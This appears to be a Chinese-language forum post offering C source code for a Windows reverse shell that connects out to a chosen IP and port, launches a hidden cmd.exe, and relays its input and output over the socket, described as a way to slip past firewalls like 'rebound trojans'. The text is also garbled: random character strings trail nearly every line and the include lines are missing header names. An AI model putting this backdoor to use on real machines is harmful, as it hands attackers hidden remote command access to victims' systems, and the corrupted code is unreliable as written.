Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 pz!Zs."f)
 
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/* ============================== 0#7>o^2  
Rebound port in Windows NT 0cv{  
By wind,2006/7 g+8OekzB5  
===============================*/ /QK6Rac-  
#include uanhr)Ys  
#include Q,,e+exbb5  
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#pragma comment(lib,"wsock32.lib") x77*c._3v  
WA<v9#m  
void OutputShell(); 5N#aXG^9  
SOCKET sClient; AVsDt2A  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; euK5pA>L  
mxvp3t\  
void main(int argc,char **argv) b<tNk]7  
{ S*,17+6dV  
WSADATA stWsaData; sf:,qD=z  
int nRet; 3H'sHuK"X  
SOCKADDR_IN stSaiClient,stSaiServer; KaLzg5is  
Z\(q@3C  
if(argc != 3) F#3Q_G^/  
{ j"8ZM{aO  
printf("Useage:\n\rRebound DestIP DestPort\n"); SpIv#?  
return; <v"R.<  
} z{%<<pZ  
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WSAStartup(MAKEWORD(2,2),&stWsaData); W-$Z(Z XL  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DHg:8%3x  
WJ]T\DI  
stSaiClient.sin_family = AF_INET; *[Imn\hu  
stSaiClient.sin_port = htons(0); `Y0%cXi3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); R)?*N@.s  
,5P0S0*{  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [CTnXb  
{ /m!BY}4W  
printf("Bind Socket Failed!\n"); B5,N7z34F  
return; <X#C)-.  
} ^7`BP%6  
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stSaiServer.sin_family = AF_INET; ~V:\ _{mE  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); dUD[e,?  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); WSPI|#Xr%  
8$]1M,$r  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _kC-dEGf!y  
{ b.OsiT;_j  
printf("Connect Error!"); h<h%*av|  
return; a)!o @  
} p .%]Q*8  
OutputShell(); #]-SJWf3  
} i:dR\|B  
f'F?MINJP  
void OutputShell() Q*GN`07@?d  
{ nF}vw |r>x  
char szBuff[1024]; NYhB'C2  
SECURITY_ATTRIBUTES stSecurityAttributes; Q@=Q0  
OSVERSIONINFO stOsversionInfo; zWnX*2>b  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xPdG*OcX!  
STARTUPINFO stStartupInfo; \wmN  
char *szShell; 0RzEY!9g+  
PROCESS_INFORMATION stProcessInformation; JT~4mT  
unsigned long lBytesRead; I !- U'{  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {% 6}'  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U%-A?5  
stSecurityAttributes.lpSecurityDescriptor = 0; #j;^\rSv-  
stSecurityAttributes.bInheritHandle = TRUE; IM*y|UHt  
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T%+#xl  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \-E^lIVF  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ??5Q)Erm1  
pG_;$8Hc  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); k``_EiV4t  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pt?bWyKG  
stStartupInfo.wShowWindow = SW_HIDE; R- X5K-  
stStartupInfo.hStdInput = hReadPipe; HH`'*$]7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -+-?w|}qV  
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GetVersionEx(&stOsversionInfo); 2'l'8  
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switch(stOsversionInfo.dwPlatformId) SV4E0c>  
{ C-xr"]#]  
case 1: @b\$yB@z  
szShell = "command.com"; W@>% {eE  
break; &{5,:%PXw  
default: UJUEYG  
szShell = "cmd.exe"; K
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break; \eTwXe]Pv  
} G+9,,`2  
0mp/Le5  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _!#@@O0p/h  
v4<nI;Ux  
send(sClient,szMsg,77,0); /*~EO{o  
while(1) AhN4mc@  
{ _1X!EH"  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); B
X/8O<s0  
if(lBytesRead) 7jrt7[{
 
{ +D6YR$_<  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ';k5?^T  
send(sClient,szBuff,lBytesRead,0); W<{h,j8  
} |o"?gB}Dh  
else 2F;y;l%  
{ QP==?g3  
lBytesRead=recv(sClient,szBuff,1024,0); JBj]najN  
if(lBytesRead<=0) break; xh-o}8*n"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); z9f-.72"X  
} 1}+3dB_s  
} (le9q5Qr.  
Bg=wKwc8  
return; ejKucEgD  
}